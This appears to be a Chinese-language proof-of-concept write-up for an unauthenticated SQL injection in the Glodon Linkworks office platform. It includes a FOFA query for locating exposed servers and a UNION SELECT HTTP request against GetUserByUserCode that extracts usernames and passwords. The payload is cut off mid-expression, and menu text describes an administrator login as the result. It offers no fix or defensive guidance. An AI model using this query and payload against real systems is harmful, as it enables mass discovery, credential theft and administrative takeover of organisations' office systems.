G3-4广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.asmx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片：

网络测绘：

fofa语法：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现：

payload：

```
GET /Org/service/Service.asmx/GetUserByUserCode?EncryptData=1&userCode=1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20top%201%20concat(F_CODE
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
```

效果图:
查询用户名密码

登录


Linkworks 协同办公管理平台
管理员(admin)
搜索
我的桌面
系统管理
组织管理
组织维护
用户维护
数据导入
角色维护
组织业务关系
组织互信管理
组织同步管理
工作委托管理
权限管理
基础服务
表单设置
欢迎您使用
平台管理系统